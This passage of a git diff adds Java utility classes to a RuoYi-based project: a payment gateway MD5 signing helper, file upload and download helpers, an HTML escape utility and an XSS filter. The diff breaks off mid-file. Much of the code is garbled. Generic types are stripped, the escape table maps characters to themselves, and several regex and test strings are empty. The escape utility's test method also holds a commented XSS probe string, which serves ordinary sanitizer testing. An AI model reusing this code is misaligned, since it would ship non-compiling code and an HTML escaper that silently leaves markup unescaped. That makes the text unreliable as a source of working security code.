LoggerFactory.getLogger(UdunUtils.class); + + public static String post(String gateway, String merchantKey, String path, String body) { + String rawBody = parseParams(merchantKey, body); + logger.debug("HttpRequest POST {}",gateway+path); + logger.debug("BODY {}",rawBody); + HttpResponse response = HttpRequest.post(gateway + path) + .body(rawBody) + .execute(); + String resp = response.body(); + logger.debug("HttpResponse {}",resp); + return resp; + } + + public static String parseParams(String merchantKey, String body) { + Map params = new HashMap<>(); + String timestamp = System.currentTimeMillis() + ""; + String nonce = RandomUtil.randomString(6); + String sign = sign(merchantKey, timestamp, nonce, body); + params.put("timestamp", timestamp); + params.put("nonce", nonce); + params.put("sign", sign); + params.put("body", body); + return JSONUtil.toJsonStr(params); + } + + public static String sign(String key, String timestamp, String nonce, String body) { + String raw = body + key + nonce + timestamp; + return SecureUtil.md5(raw); + } + + public static boolean checkSign(String key, String timestamp, String nonce, String body, String sign) { + String checkSign = sign(key, timestamp, nonce, body); + return checkSign.equals(sign); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/UidUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/UidUtils.java new file mode 100644 index 0000000..6a73470 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/UidUtils.java @@ -0,0 +1,28 @@ +package com.ruoyi.common.utils; + +import org.hashids.Hashids; + +import java.util.UUID; + +public class UidUtils { + /** + * 获取uuid + * + * @param isConcise + * @return + */ + public static String getUUID(boolean isConcise) { + if (!isConcise) { + return UUID.randomUUID().toString(); + } + return UUID.randomUUID().toString().replaceAll("-", ""); + } + + public static String getInviteCode(Long userId) { + final String SALT = "E5FCDG3HQA4B1NOPIJ2RSTUV67MWX89KLYZ"; + final int MIN_HASH_LENGTH = 6; + Hashids hashids = new Hashids(SALT, MIN_HASH_LENGTH); + return hashids.encode(userId); + } + +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/bean/BeanUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/bean/BeanUtils.java new file mode 100644 index 0000000..4463662 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/bean/BeanUtils.java @@ -0,0 +1,110 @@ +package com.ruoyi.common.utils.bean; + +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.List; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +/** + * Bean 工具类 + * + * @author ruoyi + */ +public class BeanUtils extends org.springframework.beans.BeanUtils +{ + /** Bean方法名中属性名开始的下标 */ + private static final int BEAN_METHOD_PROP_INDEX = 3; + + /** * 匹配getter方法的正则表达式 */ + private static final Pattern GET_PATTERN = Pattern.compile("get(\\p{javaUpperCase}\\w*)"); + + /** * 匹配setter方法的正则表达式 */ + private static final Pattern SET_PATTERN = Pattern.compile("set(\\p{javaUpperCase}\\w*)"); + + /** + * Bean属性复制工具方法。 + * + * @param dest 目标对象 + * @param src 源对象 + */ + public static void copyBeanProp(Object dest, Object src) + { + try + { + copyProperties(src, dest); + } + catch (Exception e) + { + e.printStackTrace(); + } + } + + /** + * 获取对象的setter方法。 + * + * @param obj 对象 + * @return 对象的setter方法列表 + */ + public static List getSetterMethods(Object obj) + { + // setter方法列表 + List setterMethods = new ArrayList(); + + // 获取所有方法 + Method[] methods = obj.getClass().getMethods(); + + // 查找setter方法 + + for (Method method : methods) + { + Matcher m = SET_PATTERN.matcher(method.getName()); + if (m.matches() && (method.getParameterTypes().length == 1)) + { + setterMethods.add(method); + } + } + // 返回setter方法列表 + return setterMethods; + } + + /** + * 获取对象的getter方法。 + * + * @param obj 对象 + * @return 对象的getter方法列表 + */ + + public static List getGetterMethods(Object obj) + { + // getter方法列表 + List getterMethods = new ArrayList(); + // 获取所有方法 + Method[] methods = obj.getClass().getMethods(); + // 查找getter方法 + for (Method method : methods) + { + Matcher m = GET_PATTERN.matcher(method.getName()); + if (m.matches() && (method.getParameterTypes().length == 0)) + { + getterMethods.add(method); + } + } + // 返回getter方法列表 + return getterMethods; + } + + /** + * 检查Bean方法名中的属性名是否相等。
    + * 如getName()和setName()属性名一样,getName()和setAge()属性名不一样。 + * + * @param m1 方法名1 + * @param m2 方法名2 + * @return 属性名一样返回true,否则返回false + */ + + public static boolean isMethodPropEquals(String m1, String m2) + { + return m1.substring(BEAN_METHOD_PROP_INDEX).equals(m2.substring(BEAN_METHOD_PROP_INDEX)); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/bean/BeanValidators.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/bean/BeanValidators.java new file mode 100644 index 0000000..80bfed7 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/bean/BeanValidators.java @@ -0,0 +1,24 @@ +package com.ruoyi.common.utils.bean; + +import java.util.Set; +import javax.validation.ConstraintViolation; +import javax.validation.ConstraintViolationException; +import javax.validation.Validator; + +/** + * bean对象属性验证 + * + * @author ruoyi + */ +public class BeanValidators +{ + public static void validateWithException(Validator validator, Object object, Class... groups) + throws ConstraintViolationException + { + Set> constraintViolations = validator.validate(object, groups); + if (!constraintViolations.isEmpty()) + { + throw new ConstraintViolationException(constraintViolations); + } + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/file/FileTypeUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/file/FileTypeUtils.java new file mode 100644 index 0000000..68130b9 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/file/FileTypeUtils.java @@ -0,0 +1,76 @@ +package com.ruoyi.common.utils.file; + +import java.io.File; +import org.apache.commons.lang3.StringUtils; + +/** + * 文件类型工具类 + * + * @author ruoyi + */ +public class FileTypeUtils +{ + /** + * 获取文件类型 + *

    + * 例如: ruoyi.txt, 返回: txt + * + * @param file 文件名 + * @return 后缀(不含".") + */ + public static String getFileType(File file) + { + if (null == file) + { + return StringUtils.EMPTY; + } + return getFileType(file.getName()); + } + + /** + * 获取文件类型 + *

    + * 例如: ruoyi.txt, 返回: txt + * + * @param fileName 文件名 + * @return 后缀(不含".") + */ + public static String getFileType(String fileName) + { + int separatorIndex = fileName.lastIndexOf("."); + if (separatorIndex < 0) + { + return ""; + } + return fileName.substring(separatorIndex + 1).toLowerCase(); + } + + /** + * 获取文件类型 + * + * @param photoByte 文件字节码 + * @return 后缀(不含".") + */ + public static String getFileExtendName(byte[] photoByte) + { + String strFileExtendName = "JPG"; + if ((photoByte[0] == 71) && (photoByte[1] == 73) && (photoByte[2] == 70) && (photoByte[3] == 56) + && ((photoByte[4] == 55) || (photoByte[4] == 57)) && (photoByte[5] == 97)) + { + strFileExtendName = "GIF"; + } + else if ((photoByte[6] == 74) && (photoByte[7] == 70) && (photoByte[8] == 73) && (photoByte[9] == 70)) + { + strFileExtendName = "JPG"; + } + else if ((photoByte[0] == 66) && (photoByte[1] == 77)) + { + strFileExtendName = "BMP"; + } + else if ((photoByte[1] == 80) && (photoByte[2] == 78) && (photoByte[3] == 71)) + { + strFileExtendName = "PNG"; + } + return strFileExtendName; + } +} \ No newline at end of file diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/file/FileUploadUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/file/FileUploadUtils.java new file mode 100644 index 0000000..d9f2b13 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/file/FileUploadUtils.java @@ -0,0 +1,232 @@ +package com.ruoyi.common.utils.file; + +import java.io.File; +import java.io.IOException; +import java.nio.file.Paths; +import java.util.Objects; +import org.apache.commons.io.FilenameUtils; +import org.springframework.web.multipart.MultipartFile; +import com.ruoyi.common.config.RuoYiConfig; +import com.ruoyi.common.constant.Constants; +import com.ruoyi.common.exception.file.FileNameLengthLimitExceededException; +import com.ruoyi.common.exception.file.FileSizeLimitExceededException; +import com.ruoyi.common.exception.file.InvalidExtensionException; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.common.utils.uuid.Seq; + +/** + * 文件上传工具类 + * + * @author ruoyi + */ +public class FileUploadUtils +{ + /** + * 默认大小 50M + */ + public static final long DEFAULT_MAX_SIZE = 50 * 1024 * 1024; + + /** + * 默认的文件名最大长度 100 + */ + public static final int DEFAULT_FILE_NAME_LENGTH = 100; + + /** + * 默认上传的地址 + */ + private static String defaultBaseDir = RuoYiConfig.getProfile(); + + public static void setDefaultBaseDir(String defaultBaseDir) + { + FileUploadUtils.defaultBaseDir = defaultBaseDir; + } + + public static String getDefaultBaseDir() + { + return defaultBaseDir; + } + + /** + * 以默认配置进行文件上传 + * + * @param file 上传的文件 + * @return 文件名称 + * @throws Exception + */ + public static final String upload(MultipartFile file) throws IOException + { + try + { + return upload(getDefaultBaseDir(), file, MimeTypeUtils.DEFAULT_ALLOWED_EXTENSION); + } + catch (Exception e) + { + throw new IOException(e.getMessage(), e); + } + } + + /** + * 根据文件路径上传 + * + * @param baseDir 相对应用的基目录 + * @param file 上传的文件 + * @return 文件名称 + * @throws IOException + */ + public static final String upload(String baseDir, MultipartFile file) throws IOException + { + try + { + return upload(baseDir, file, MimeTypeUtils.DEFAULT_ALLOWED_EXTENSION); + } + catch (Exception e) + { + throw new IOException(e.getMessage(), e); + } + } + + /** + * 文件上传 + * + * @param baseDir 相对应用的基目录 + * @param file 上传的文件 + * @param allowedExtension 上传文件类型 + * @return 返回上传成功的文件名 + * @throws FileSizeLimitExceededException 如果超出最大大小 + * @throws FileNameLengthLimitExceededException 文件名太长 + * @throws IOException 比如读写文件出错时 + * @throws InvalidExtensionException 文件校验异常 + */ + public static final String upload(String baseDir, MultipartFile file, String[] allowedExtension) + throws FileSizeLimitExceededException, IOException, FileNameLengthLimitExceededException, + InvalidExtensionException + { + int fileNamelength = Objects.requireNonNull(file.getOriginalFilename()).length(); + if (fileNamelength > FileUploadUtils.DEFAULT_FILE_NAME_LENGTH) + { + throw new FileNameLengthLimitExceededException(FileUploadUtils.DEFAULT_FILE_NAME_LENGTH); + } + + assertAllowed(file, allowedExtension); + + String fileName = extractFilename(file); + + String absPath = getAbsoluteFile(baseDir, fileName).getAbsolutePath(); + file.transferTo(Paths.get(absPath)); + return getPathFileName(baseDir, fileName); + } + + /** + * 编码文件名 + */ + public static final String extractFilename(MultipartFile file) + { + return StringUtils.format("{}/{}_{}.{}", DateUtils.datePath(), + FilenameUtils.getBaseName(file.getOriginalFilename()), Seq.getId(Seq.uploadSeqType), getExtension(file)); + } + + public static final File getAbsoluteFile(String uploadDir, String fileName) throws IOException + { + File desc = new File(uploadDir + File.separator + fileName); + + if (!desc.exists()) + { + if (!desc.getParentFile().exists()) + { + desc.getParentFile().mkdirs(); + } + } + return desc; + } + + public static final String getPathFileName(String uploadDir, String fileName) throws IOException + { + int dirLastIndex = RuoYiConfig.getProfile().length() + 1; + String currentDir = StringUtils.substring(uploadDir, dirLastIndex); + return Constants.RESOURCE_PREFIX + "/" + currentDir + "/" + fileName; + } + + /** + * 文件大小校验 + * + * @param file 上传的文件 + * @return + * @throws FileSizeLimitExceededException 如果超出最大大小 + * @throws InvalidExtensionException + */ + public static final void assertAllowed(MultipartFile file, String[] allowedExtension) + throws FileSizeLimitExceededException, InvalidExtensionException + { + long size = file.getSize(); + if (size > DEFAULT_MAX_SIZE) + { + throw new FileSizeLimitExceededException(DEFAULT_MAX_SIZE / 1024 / 1024); + } + + String fileName = file.getOriginalFilename(); + String extension = getExtension(file); + if (allowedExtension != null && !isAllowedExtension(extension, allowedExtension)) + { + if (allowedExtension == MimeTypeUtils.IMAGE_EXTENSION) + { + throw new InvalidExtensionException.InvalidImageExtensionException(allowedExtension, extension, + fileName); + } + else if (allowedExtension == MimeTypeUtils.FLASH_EXTENSION) + { + throw new InvalidExtensionException.InvalidFlashExtensionException(allowedExtension, extension, + fileName); + } + else if (allowedExtension == MimeTypeUtils.MEDIA_EXTENSION) + { + throw new InvalidExtensionException.InvalidMediaExtensionException(allowedExtension, extension, + fileName); + } + else if (allowedExtension == MimeTypeUtils.VIDEO_EXTENSION) + { + throw new InvalidExtensionException.InvalidVideoExtensionException(allowedExtension, extension, + fileName); + } + else + { + throw new InvalidExtensionException(allowedExtension, extension, fileName); + } + } + } + + /** + * 判断MIME类型是否是允许的MIME类型 + * + * @param extension + * @param allowedExtension + * @return + */ + public static final boolean isAllowedExtension(String extension, String[] allowedExtension) + { + for (String str : allowedExtension) + { + if (str.equalsIgnoreCase(extension)) + { + return true; + } + } + return false; + } + + /** + * 获取文件名的后缀 + * + * @param file 表单文件 + * @return 后缀名 + */ + public static final String getExtension(MultipartFile file) + { + String extension = FilenameUtils.getExtension(file.getOriginalFilename()); + if (StringUtils.isEmpty(extension)) + { + extension = MimeTypeUtils.getExtension(Objects.requireNonNull(file.getContentType())); + } + return extension; + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/file/FileUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/file/FileUtils.java new file mode 100644 index 0000000..ed4cbc9 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/file/FileUtils.java @@ -0,0 +1,291 @@ +package com.ruoyi.common.utils.file; + +import java.io.File; +import java.io.FileInputStream; +import java.io.FileNotFoundException; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.OutputStream; +import java.io.UnsupportedEncodingException; +import java.net.URLEncoder; +import java.nio.charset.StandardCharsets; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import org.apache.commons.io.IOUtils; +import org.apache.commons.lang3.ArrayUtils; +import com.ruoyi.common.config.RuoYiConfig; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.common.utils.uuid.IdUtils; +import org.apache.commons.io.FilenameUtils; + +/** + * 文件处理工具类 + * + * @author ruoyi + */ +public class FileUtils +{ + public static String FILENAME_PATTERN = "[a-zA-Z0-9_\\-\\|\\.\\u4e00-\\u9fa5]+"; + + /** + * 输出指定文件的byte数组 + * + * @param filePath 文件路径 + * @param os 输出流 + * @return + */ + public static void writeBytes(String filePath, OutputStream os) throws IOException + { + FileInputStream fis = null; + try + { + File file = new File(filePath); + if (!file.exists()) + { + throw new FileNotFoundException(filePath); + } + fis = new FileInputStream(file); + byte[] b = new byte[1024]; + int length; + while ((length = fis.read(b)) > 0) + { + os.write(b, 0, length); + } + } + catch (IOException e) + { + throw e; + } + finally + { + IOUtils.close(os); + IOUtils.close(fis); + } + } + + /** + * 写数据到文件中 + * + * @param data 数据 + * @return 目标文件 + * @throws IOException IO异常 + */ + public static String writeImportBytes(byte[] data) throws IOException + { + return writeBytes(data, RuoYiConfig.getImportPath()); + } + + /** + * 写数据到文件中 + * + * @param data 数据 + * @param uploadDir 目标文件 + * @return 目标文件 + * @throws IOException IO异常 + */ + public static String writeBytes(byte[] data, String uploadDir) throws IOException + { + FileOutputStream fos = null; + String pathName = ""; + try + { + String extension = getFileExtendName(data); + pathName = DateUtils.datePath() + "/" + IdUtils.fastUUID() + "." + extension; + File file = FileUploadUtils.getAbsoluteFile(uploadDir, pathName); + fos = new FileOutputStream(file); + fos.write(data); + } + finally + { + IOUtils.close(fos); + } + return FileUploadUtils.getPathFileName(uploadDir, pathName); + } + + /** + * 删除文件 + * + * @param filePath 文件 + * @return + */ + public static boolean deleteFile(String filePath) + { + boolean flag = false; + File file = new File(filePath); + // 路径为文件且不为空则进行删除 + if (file.isFile() && file.exists()) + { + flag = file.delete(); + } + return flag; + } + + /** + * 文件名称验证 + * + * @param filename 文件名称 + * @return true 正常 false 非法 + */ + public static boolean isValidFilename(String filename) + { + return filename.matches(FILENAME_PATTERN); + } + + /** + * 检查文件是否可下载 + * + * @param resource 需要下载的文件 + * @return true 正常 false 非法 + */ + public static boolean checkAllowDownload(String resource) + { + // 禁止目录上跳级别 + if (StringUtils.contains(resource, "..")) + { + return false; + } + + // 检查允许下载的文件规则 + if (ArrayUtils.contains(MimeTypeUtils.DEFAULT_ALLOWED_EXTENSION, FileTypeUtils.getFileType(resource))) + { + return true; + } + + // 不在允许下载的文件规则 + return false; + } + + /** + * 下载文件名重新编码 + * + * @param request 请求对象 + * @param fileName 文件名 + * @return 编码后的文件名 + */ + public static String setFileDownloadHeader(HttpServletRequest request, String fileName) throws UnsupportedEncodingException + { + final String agent = request.getHeader("USER-AGENT"); + String filename = fileName; + if (agent.contains("MSIE")) + { + // IE浏览器 + filename = URLEncoder.encode(filename, "utf-8"); + filename = filename.replace("+", " "); + } + else if (agent.contains("Firefox")) + { + // 火狐浏览器 + filename = new String(fileName.getBytes(), "ISO8859-1"); + } + else if (agent.contains("Chrome")) + { + // google浏览器 + filename = URLEncoder.encode(filename, "utf-8"); + } + else + { + // 其它浏览器 + filename = URLEncoder.encode(filename, "utf-8"); + } + return filename; + } + + /** + * 下载文件名重新编码 + * + * @param response 响应对象 + * @param realFileName 真实文件名 + */ + public static void setAttachmentResponseHeader(HttpServletResponse response, String realFileName) throws UnsupportedEncodingException + { + String percentEncodedFileName = percentEncode(realFileName); + + StringBuilder contentDispositionValue = new StringBuilder(); + contentDispositionValue.append("attachment; filename=") + .append(percentEncodedFileName) + .append(";") + .append("filename*=") + .append("utf-8''") + .append(percentEncodedFileName); + + response.addHeader("Access-Control-Expose-Headers", "Content-Disposition,download-filename"); + response.setHeader("Content-disposition", contentDispositionValue.toString()); + response.setHeader("download-filename", percentEncodedFileName); + } + + /** + * 百分号编码工具方法 + * + * @param s 需要百分号编码的字符串 + * @return 百分号编码后的字符串 + */ + public static String percentEncode(String s) throws UnsupportedEncodingException + { + String encode = URLEncoder.encode(s, StandardCharsets.UTF_8.toString()); + return encode.replaceAll("\\+", "%20"); + } + + /** + * 获取图像后缀 + * + * @param photoByte 图像数据 + * @return 后缀名 + */ + public static String getFileExtendName(byte[] photoByte) + { + String strFileExtendName = "jpg"; + if ((photoByte[0] == 71) && (photoByte[1] == 73) && (photoByte[2] == 70) && (photoByte[3] == 56) + && ((photoByte[4] == 55) || (photoByte[4] == 57)) && (photoByte[5] == 97)) + { + strFileExtendName = "gif"; + } + else if ((photoByte[6] == 74) && (photoByte[7] == 70) && (photoByte[8] == 73) && (photoByte[9] == 70)) + { + strFileExtendName = "jpg"; + } + else if ((photoByte[0] == 66) && (photoByte[1] == 77)) + { + strFileExtendName = "bmp"; + } + else if ((photoByte[1] == 80) && (photoByte[2] == 78) && (photoByte[3] == 71)) + { + strFileExtendName = "png"; + } + return strFileExtendName; + } + + /** + * 获取文件名称 /profile/upload/2022/04/16/ruoyi.png -- ruoyi.png + * + * @param fileName 路径名称 + * @return 没有文件路径的名称 + */ + public static String getName(String fileName) + { + if (fileName == null) + { + return null; + } + int lastUnixPos = fileName.lastIndexOf('/'); + int lastWindowsPos = fileName.lastIndexOf('\\'); + int index = Math.max(lastUnixPos, lastWindowsPos); + return fileName.substring(index + 1); + } + + /** + * 获取不带后缀文件名称 /profile/upload/2022/04/16/ruoyi.png -- ruoyi + * + * @param fileName 路径名称 + * @return 没有文件路径和后缀的名称 + */ + public static String getNameNotSuffix(String fileName) + { + if (fileName == null) + { + return null; + } + String baseName = FilenameUtils.getBaseName(fileName); + return baseName; + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/file/ImageUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/file/ImageUtils.java new file mode 100644 index 0000000..432dfda --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/file/ImageUtils.java @@ -0,0 +1,98 @@ +package com.ruoyi.common.utils.file; + +import java.io.ByteArrayInputStream; +import java.io.FileInputStream; +import java.io.InputStream; +import java.net.URL; +import java.net.URLConnection; +import java.util.Arrays; +import org.apache.poi.util.IOUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import com.ruoyi.common.config.RuoYiConfig; +import com.ruoyi.common.constant.Constants; +import com.ruoyi.common.utils.StringUtils; + +/** + * 图片处理工具类 + * + * @author ruoyi + */ +public class ImageUtils +{ + private static final Logger log = LoggerFactory.getLogger(ImageUtils.class); + + public static byte[] getImage(String imagePath) + { + InputStream is = getFile(imagePath); + try + { + return IOUtils.toByteArray(is); + } + catch (Exception e) + { + log.error("图片加载异常 {}", e); + return null; + } + finally + { + IOUtils.closeQuietly(is); + } + } + + public static InputStream getFile(String imagePath) + { + try + { + byte[] result = readFile(imagePath); + result = Arrays.copyOf(result, result.length); + return new ByteArrayInputStream(result); + } + catch (Exception e) + { + log.error("获取图片异常 {}", e); + } + return null; + } + + /** + * 读取文件为字节数据 + * + * @param url 地址 + * @return 字节数据 + */ + public static byte[] readFile(String url) + { + InputStream in = null; + try + { + if (url.startsWith("http")) + { + // 网络地址 + URL urlObj = new URL(url); + URLConnection urlConnection = urlObj.openConnection(); + urlConnection.setConnectTimeout(30 * 1000); + urlConnection.setReadTimeout(60 * 1000); + urlConnection.setDoInput(true); + in = urlConnection.getInputStream(); + } + else + { + // 本机地址 + String localPath = RuoYiConfig.getProfile(); + String downloadPath = localPath + StringUtils.substringAfter(url, Constants.RESOURCE_PREFIX); + in = new FileInputStream(downloadPath); + } + return IOUtils.toByteArray(in); + } + catch (Exception e) + { + log.error("获取文件路径异常 {}", e); + return null; + } + finally + { + IOUtils.closeQuietly(in); + } + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/file/MimeTypeUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/file/MimeTypeUtils.java new file mode 100644 index 0000000..f968f1a --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/file/MimeTypeUtils.java @@ -0,0 +1,59 @@ +package com.ruoyi.common.utils.file; + +/** + * 媒体类型工具类 + * + * @author ruoyi + */ +public class MimeTypeUtils +{ + public static final String IMAGE_PNG = "image/png"; + + public static final String IMAGE_JPG = "image/jpg"; + + public static final String IMAGE_JPEG = "image/jpeg"; + + public static final String IMAGE_BMP = "image/bmp"; + + public static final String IMAGE_GIF = "image/gif"; + + public static final String[] IMAGE_EXTENSION = { "bmp", "gif", "jpg", "jpeg", "png" }; + + public static final String[] FLASH_EXTENSION = { "swf", "flv" }; + + public static final String[] MEDIA_EXTENSION = { "swf", "flv", "mp3", "wav", "wma", "wmv", "mid", "avi", "mpg", + "asf", "rm", "rmvb" }; + + public static final String[] VIDEO_EXTENSION = { "mp4", "avi", "rmvb" }; + + public static final String[] DEFAULT_ALLOWED_EXTENSION = { + // 图片 + "bmp", "gif", "jpg", "jpeg", "png", + // word excel powerpoint + "doc", "docx", "xls", "xlsx", "ppt", "pptx", "html", "htm", "txt", + // 压缩文件 + "rar", "zip", "gz", "bz2", + // 视频格式 + "mp4", "avi", "rmvb", + // pdf + "pdf" }; + + public static String getExtension(String prefix) + { + switch (prefix) + { + case IMAGE_PNG: + return "png"; + case IMAGE_JPG: + return "jpg"; + case IMAGE_JPEG: + return "jpeg"; + case IMAGE_BMP: + return "bmp"; + case IMAGE_GIF: + return "gif"; + default: + return ""; + } + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/html/EscapeUtil.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/html/EscapeUtil.java new file mode 100644 index 0000000..f52e83e --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/html/EscapeUtil.java @@ -0,0 +1,167 @@ +package com.ruoyi.common.utils.html; + +import com.ruoyi.common.utils.StringUtils; + +/** + * 转义和反转义工具类 + * + * @author ruoyi + */ +public class EscapeUtil +{ + public static final String RE_HTML_MARK = "(<[^<]*?>)|(<[\\s]*?/[^<]*?>)|(<[^<]*?/[\\s]*?>)"; + + private static final char[][] TEXT = new char[64][]; + + static + { + for (int i = 0; i < 64; i++) + { + TEXT[i] = new char[] { (char) i }; + } + + // special HTML characters + TEXT['\''] = "'".toCharArray(); // 单引号 + TEXT['"'] = """.toCharArray(); // 双引号 + TEXT['&'] = "&".toCharArray(); // &符 + TEXT['<'] = "<".toCharArray(); // 小于号 + TEXT['>'] = ">".toCharArray(); // 大于号 + } + + /** + * 转义文本中的HTML字符为安全的字符 + * + * @param text 被转义的文本 + * @return 转义后的文本 + */ + public static String escape(String text) + { + return encode(text); + } + + /** + * 还原被转义的HTML特殊字符 + * + * @param content 包含转义符的HTML内容 + * @return 转换后的字符串 + */ + public static String unescape(String content) + { + return decode(content); + } + + /** + * 清除所有HTML标签,但是不删除标签内的内容 + * + * @param content 文本 + * @return 清除标签后的文本 + */ + public static String clean(String content) + { + return new HTMLFilter().filter(content); + } + + /** + * Escape编码 + * + * @param text 被编码的文本 + * @return 编码后的字符 + */ + private static String encode(String text) + { + if (StringUtils.isEmpty(text)) + { + return StringUtils.EMPTY; + } + + final StringBuilder tmp = new StringBuilder(text.length() * 6); + char c; + for (int i = 0; i < text.length(); i++) + { + c = text.charAt(i); + if (c < 256) + { + tmp.append("%"); + if (c < 16) + { + tmp.append("0"); + } + tmp.append(Integer.toString(c, 16)); + } + else + { + tmp.append("%u"); + if (c <= 0xfff) + { + // issue#I49JU8@Gitee + tmp.append("0"); + } + tmp.append(Integer.toString(c, 16)); + } + } + return tmp.toString(); + } + + /** + * Escape解码 + * + * @param content 被转义的内容 + * @return 解码后的字符串 + */ + public static String decode(String content) + { + if (StringUtils.isEmpty(content)) + { + return content; + } + + StringBuilder tmp = new StringBuilder(content.length()); + int lastPos = 0, pos = 0; + char ch; + while (lastPos < content.length()) + { + pos = content.indexOf("%", lastPos); + if (pos == lastPos) + { + if (content.charAt(pos + 1) == 'u') + { + ch = (char) Integer.parseInt(content.substring(pos + 2, pos + 6), 16); + tmp.append(ch); + lastPos = pos + 6; + } + else + { + ch = (char) Integer.parseInt(content.substring(pos + 1, pos + 3), 16); + tmp.append(ch); + lastPos = pos + 3; + } + } + else + { + if (pos == -1) + { + tmp.append(content.substring(lastPos)); + lastPos = content.length(); + } + else + { + tmp.append(content.substring(lastPos, pos)); + lastPos = pos; + } + } + } + return tmp.toString(); + } + + public static void main(String[] args) + { + String html = ""; + String escape = EscapeUtil.escape(html); + // String html = "ipt>alert(\"XSS\")ipt>"; + // String html = "<123"; + // String html = "123>"; + System.out.println("clean: " + EscapeUtil.clean(html)); + System.out.println("escape: " + escape); + System.out.println("unescape: " + EscapeUtil.unescape(escape)); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/html/HTMLFilter.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/html/HTMLFilter.java new file mode 100644 index 0000000..ebff3fd --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/html/HTMLFilter.java @@ -0,0 +1,570 @@ +package com.ruoyi.common.utils.html; + +import java.util.ArrayList; +import java.util.Collections; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.concurrent.ConcurrentHashMap; +import java.util.concurrent.ConcurrentMap; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +/** + * HTML过滤器,用于去除XSS漏洞隐患。 + * + * @author ruoyi + */ +public final class HTMLFilter +{ + /** + * regex flag union representing /si modifiers in php + **/ + private static final int REGEX_FLAGS_SI = Pattern.CASE_INSENSITIVE | Pattern.DOTALL; + private static final Pattern P_COMMENTS = Pattern.compile("", Pattern.DOTALL); + private static final Pattern P_COMMENT = Pattern.compile("^!--(.*)--$", REGEX_FLAGS_SI); + private static final Pattern P_TAGS = Pattern.compile("<(.*?)>", Pattern.DOTALL); + private static final Pattern P_END_TAG = Pattern.compile("^/([a-z0-9]+)", REGEX_FLAGS_SI); + private static final Pattern P_START_TAG = Pattern.compile("^([a-z0-9]+)(.*?)(/?)$", REGEX_FLAGS_SI); + private static final Pattern P_QUOTED_ATTRIBUTES = Pattern.compile("([a-z0-9]+)=([\"'])(.*?)\\2", REGEX_FLAGS_SI); + private static final Pattern P_UNQUOTED_ATTRIBUTES = Pattern.compile("([a-z0-9]+)(=)([^\"\\s']+)", REGEX_FLAGS_SI); + private static final Pattern P_PROTOCOL = Pattern.compile("^([^:]+):", REGEX_FLAGS_SI); + private static final Pattern P_ENTITY = Pattern.compile("&#(\\d+);?"); + private static final Pattern P_ENTITY_UNICODE = Pattern.compile("&#x([0-9a-f]+);?"); + private static final Pattern P_ENCODE = Pattern.compile("%([0-9a-f]{2});?"); + private static final Pattern P_VALID_ENTITIES = Pattern.compile("&([^&;]*)(?=(;|&|$))"); + private static final Pattern P_VALID_QUOTES = Pattern.compile("(>|^)([^<]+?)(<|$)", Pattern.DOTALL); + private static final Pattern P_END_ARROW = Pattern.compile("^>"); + private static final Pattern P_BODY_TO_END = Pattern.compile("<([^>]*?)(?=<|$)"); + private static final Pattern P_XML_CONTENT = Pattern.compile("(^|>)([^<]*?)(?=>)"); + private static final Pattern P_STRAY_LEFT_ARROW = Pattern.compile("<([^>]*?)(?=<|$)"); + private static final Pattern P_STRAY_RIGHT_ARROW = Pattern.compile("(^|>)([^<]*?)(?=>)"); + private static final Pattern P_AMP = Pattern.compile("&"); + private static final Pattern P_QUOTE = Pattern.compile("\""); + private static final Pattern P_LEFT_ARROW = Pattern.compile("<"); + private static final Pattern P_RIGHT_ARROW = Pattern.compile(">"); + private static final Pattern P_BOTH_ARROWS = Pattern.compile("<>"); + + // @xxx could grow large... maybe use sesat's ReferenceMap + private static final ConcurrentMap P_REMOVE_PAIR_BLANKS = new ConcurrentHashMap<>(); + private static final ConcurrentMap P_REMOVE_SELF_BLANKS = new ConcurrentHashMap<>(); + + /** + * set of allowed html elements, along with allowed attributes for each element + **/ + private final Map> vAllowed; + /** + * counts of open tags for each (allowable) html element + **/ + private final Map vTagCounts = new HashMap<>(); + + /** + * html elements which must always be self-closing (e.g. "") + **/ + private final String[] vSelfClosingTags; + /** + * html elements which must always have separate opening and closing tags (e.g. "") + **/ + private final String[] 